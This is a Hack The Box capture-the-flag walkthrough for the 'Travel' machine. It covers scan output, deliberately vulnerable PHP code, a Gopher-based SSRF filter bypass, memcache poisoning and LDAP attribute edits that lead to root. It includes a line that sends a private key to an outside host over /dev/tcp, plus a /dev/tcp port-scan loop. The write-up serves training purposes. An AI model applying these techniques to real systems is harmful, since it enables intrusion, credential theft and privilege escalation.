Travel is a hard difficulty Linux machine that features a WordPress instance along with a development server. The server is found to host an exposed Git repository, which reveals sensitive source code. The source code is analyzed and an SSRF and unsafe deserialization vulnerability are identified. These are leveraged to gain code execution. A backup password is cracked and used to move laterally. The user is found to be an LDAP administrator and can edit user attributes. This is leveraged to modify group membership and gain root privileges.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d3:9f:31:95:7e:5e:11:45:a2:b4:b6:34:c0:2d:2d:bc (RSA)
| 256 ef:3f:44:21:46:8d:eb:6c:39:9c:78:4f:50:b3:f3:6b (ECDSA)
|_ 256 3a:01:bc:f8:57:f5:27:a1:68:1d:6a:3d:4e:bc:21:1b (ED25519)
80/tcp open http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.Hack The Box
| http-methods:
|_ Supported Methods: GET HEAD
443/tcp open ssl/http nginx 1.17.6
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Travel.Hack The Box - SSL coming soon.
|_http-server-header: nginx/1.17.6
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.Hack The Box/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Issuer: commonName=www.travel.htb/organizationName=Travel.Hack The Box/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-23T19:24:29
| Not valid after: 2030-04-21T19:24:29
| MD5: ef0a:a4c1:fbad:1ac4:d160:58e3:beac:9698
|_SHA-1: 0170:7c30:db3e:2a93:cda7:7bbe:8a8b:7777:5bcd:0498
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=2/27%OT=22%CT=1%CU=40449%PV=Y%DS=2%DC=T%G=Y%TM=67C054B
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=106%GCD=2%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=10A%GCD=1%ISR=10A%TI=Z%
OS:CI=Z%II=I%TS=A)SEQ(SP=FB%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FD%GCD
OS:=1%ISR=110%TI=Z%CI=Z%TS=A)ECN(R=N)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=
OS:)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R
OS:=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=
OS:AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%
OS:RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 8.774 days (since Tue Feb 18 22:59:32 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 289.20 ms 10.10.14.1
2 289.29 ms 10.10.10.189
Surprisingly there are three ports open with 433 being the unusal.
Nmap scan reveals the domain name/host names.
There are some interesting information that I stumbled upon while on the reconnaissance process
I learnt about hello@travel.htb from the home page of port 80
There is some pretty good filter on the email subscribe fieldI found this j-query page, So I thought there could be api endpoints but there wasn’t any
From port 443 I got these juicy information
blog.travel.htb had a pretty good page and it’s made of wordpress.
I ran wpscan against this website and found some interesting stuffs
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: nginx/1.17.6
| - X-Powered-By: PHP/7.3.16
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://blog.travel.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.travel.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.travel.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.travel.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4 identified (Insecure, released on 2020-03-31).
| Found By: Rss Generator (Passive Detection)
| - http://blog.travel.htb/feed/, <generator>https://wordpress.org/?v=5.4</generator>
| - http://blog.travel.htb/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://blog.travel.htb/wp-content/themes/twentytwenty/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://blog.travel.htb/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 2.8
| Style URL: http://blog.travel.htb/wp-content/themes/twentytwenty/style.css?ver=1.2
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.travel.htb/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'
But there was nothing useful
When I try to access blog-dev.travel.htb I get 403 but If I fuzz for directories I can see a exposed .git directory.
Quickly I used git-dumper tool and from the dump I can see three files README.md,rss_template.php,template.php respectively
The file README.md exposed some information
# Rss Template Extension
Allows rss-feeds to be shown on a custom wordpress page.
## Setup
* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
* create page in backend and choose rss_template.php as theme
## Changelog
- temporarily disabled cache compression
- added additional security checks
- added caching
- added rss template
## ToDo
- finish logging implementation
rss_template.php is the source code for Awesome RSS which is from the web page blog.travel.htb
This following code uses memcache for caching and with xct_ as prefix to the cached data.
Definition
Memcache module provides handy procedural and object-oriented interface to memcached, highly effective caching daemon, which was especially designed to decrease database load in dynamic web applications. The Memcache module also provides a session handler (memcache).
More information about memcached can be found at » http://www.memcached.org/.
If the condition satisfies then it splits the URL by '=' with using explode function like this awesome-rss/?custom_feed_url=QUERY_STRING. Else it will simply sets the url to http://www.travel.htb/newsfeed/customfeed.xml
So let’s test this by making the URL to look like this:
<?php/**
Todo: finish logging implementation via TemplateHelper
*/functionsafe($url){// this should be secure
$tmpUrl=urldecode($url);if(strpos($tmpUrl,"file://")!==falseorstrpos($tmpUrl,"@")!==false){die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");}if(strpos($tmpUrl,"-o")!==falseorstrpos($tmpUrl,"-F")!==false){die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");}$tmp=parse_url($url,PHP_URL_HOST);// preventing all localhost access
if($tmp=="localhost"or$tmp=="127.0.0.1"){die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");}return$url;}functionurl_get_contents($url){$url=safe($url);$url=escapeshellarg($url);$pl="curl ".$url;$output=shell_exec($pl);return$output;}classTemplateHelper{private$file;private$data;publicfunction__construct(string$file,string$data){$this->init($file,$data);}publicfunction__wakeup(){$this->init($this->file,$this->data);}privatefunctioninit(string$file,string$data){$this->file=$file;$this->data=$data;file_put_contents(__DIR__.'/logs/'.$this->file,$this->data);}}
template.php primarily has the code for security mechanisms to secure custom_feed_url
The code mainly checks for:
file:// or @ —> Local file Inclusion attacks
-o or -F —> Command Injection
localhost or 127.0.0.1 —> Server Side Request Forgery
If the above conditions are satisfied then the PHP code exits and records attempts to /logs/
There is an workaround for this, I can use Gopher protocol instead of http with decimal representation of local host.
Definition
Gopher is a protocol. It was designed for distributing, searching, and retrieving documents over the Internet. Gopher represented an early alternative to the World Wide Web.
The gopher protocol has some things HTTP-based clients do not have. It is based on menus. An item selected from a menu will either open another menu, or a document.
The bottom line is, Gopher is a very old protocol that used before http and delivers the message without any useless headers.
Next I called for the local host using Gopher protocol
Gopherus is a tool that generates SSRF payloads using gopher protocol.
For testing I gave exploitEmp5r0R as a payload value
As I already know about the filters for custom_feed_url to bypass the them I can replace the localhost with it’s decimal representation which is 2130706433 . Hex value is also applicable
The Memcached get’s md5 sum of something with using the key spc. I learnt about this while googling memcache. I could see the whole source code on the internet as memcache is opensource.
In the home directory of lynik-admin , I can see a hidden file .ldaprc.
Which is particularly interesting, This article says that the file ldaprc holds the configuration for LDAP clients.
The file contents are:-
I enumerated the domain with some basic commands
There was another interesting file hidden within the home directory which is .viminfo
Basically .viminfo file will hold serialized data of any modifications done through vim editor.
Contents of .viminfo:
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq!
|2,0,1587670530,,"wq!"
# Search String History (newest to oldest):
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Debug Line History (newest to oldest):
# Registers:
""1 LINE 0
BINDPW <SNIP>
|3,1,1,1,1,0,1587670528,"BINDPW <SNIP>"
# File marks:
'0 3 0 ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"
# Jumplist (newest first):
-' 3 0 ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-' 1 0 ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"
# History of marks within files (newest to oldest):
> ~/.ldaprc
* 1587670529 0
" 3 0
. 4 0
+ 4 0
There was a word which looked like a password so I redacted that particular data and gave you the contents
Usually the LDAP listens on port 389. We can do a quick bash scan to confirm that
for port in {1..65535};doecho > /dev/tcp/172.20.0.10/$port&&echo"$port open";done 2>/dev/null
Actually there is another port open which is 639 along with 389
This user actually a admin to LDAP which will help a lot
The PAM configuration for su reveals something. Location of the file: /etc/pam.d/su
#
# The PAM configuration file for the Shadow `su' service
#
# This allows root to su without passwords (normal operation)
auth sufficient pam_rootok.so
# Uncomment this to force users to be a member of group root
# before they can use `su'. You can also add "group=foo"
# to the end of this line if you want to use a group other
# than the default "root" (but this may have side effect of
# denying "root" user, unless she's a member of "foo" or explicitly
# permitted earlier by e.g. "sufficient pam_rootok.so").
# (Replaces the `SU_WHEEL_ONLY' option from login.defs)
auth required pam_wheel.so
# Uncomment this if you want wheel members to be able to
# su without a password.
# auth sufficient pam_wheel.so trust
# Uncomment this if you want members of a specific group to not
# be allowed to use su at all.
# auth required pam_wheel.so deny group=nosu
# Uncomment and edit /etc/security/time.conf if you need to set
# time restrainst on su usage.
# (Replaces the `PORTTIME_CHECKS_ENAB' option from login.defs
# as well as /etc/porttime)
# account requisite pam_time.so
# This module parses environment configuration file(s)
# and also allows you to use an extended config
# file /etc/security/pam_env.conf.
#
# parsing /etc/environment needs "readenv=1"
session required pam_env.so readenv=1
# locale variables are also kept into /etc/default/locale in etch
# reading this file *in addition to /etc/environment* does not hurt
session required pam_env.so readenv=1 envfile=/etc/default/locale
# Defines the MAIL environment variable
# However, userdel also needs MAIL_DIR and MAIL_FILE variables
# in /etc/login.defs to make sure that removing a user
# also removes the user's mail spool file.
# See comments in /etc/login.defs
#
# "nopen" stands to avoid reporting new mail when su'ing to another user
session optional pam_mail.so nopen
# Sets up user limits according to /etc/security/limits.conf
# (Replaces the use of /etc/limits in old login)
session required pam_limits.so
# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
@include common-auth
@include common-account
@include common-session
Before moving onto next, make a LDAP connection with Apache Directory Studio to make any process easy
The configuration allows only the members of wheel group to switch to other users. Attempts to SSH as this user also fail, as the server denies password-based authentication.
The ssh configuration file also gives us more details regarding this. (Ref: /etc/ssh/ssh_config and /etc/ssh/sshd_config)
The sss_ssh_authorizedkeys utility retrieves user public keys from the specified domain. According to the documentation, SSH public keys can be stored in the sshPublicKey attribute on LDAP
Lets try changing the password for user lynik to password of our choice
Click on new Attribute and type userPassword then click finish after that a dialogue box will prompt asking for new password. Enter the password, click finish.
I can see the commands used in the background for this, below.
To login as user lynik I have to put the public key to the system via LDAP
Now to login using ssh I created keys using ssh-keygen and then copied the public key.
In Apache directory studio create new attribute objectClass and the click finish
Then on the prompt select ldapPublickey, click finish after selecting it.
Create another attribute sshPublickey then on the prompt click "edit as text", after paste the public key. Click finish.
Transferred the private key to my system.
cat id_rsa > /dev/tcp/10.10.14.16/8001
After giving all the necessary permissions, used the private key to login as user lynik
I can see user lynik group is in 5000
I can actually change the group to root’s group. But first I have to find the UID for root group
cat /etc/group | grep -i sudo
Found root group to be 27 so changed the group ID to 27 in the LDAP.
This walkthrough details the full compromise of travel.htb, a Linux-based target. Reconnaissance revealed open ports (22, 80, 443), a WordPress site (blog.travel.htb), and an exposed .git directory. Enumeration uncovered an outdated WordPress 5.4 installation with XML-RPC enabled and a vulnerable rss_template.php file. Exploiting an SSRF vulnerability, cache poisoning in Memcached, and PHP object injection, a web shell was uploaded, leading to remote code execution. Pivoting further, a MySQL database dump exposed credentials, and an .ldaprc file hinted at LDAP-based authentication. Using .viminfo, a stored password was retrieved, granting access to lynik-admin via SSH. By modifying LDAP attributes, the user’s group was changed to root (27), escalating privileges and leading to complete system takeover. This successful attack leveraged SSRF, cache poisoning, and LDAP misconfigurations to achieve root access and capture the final flag.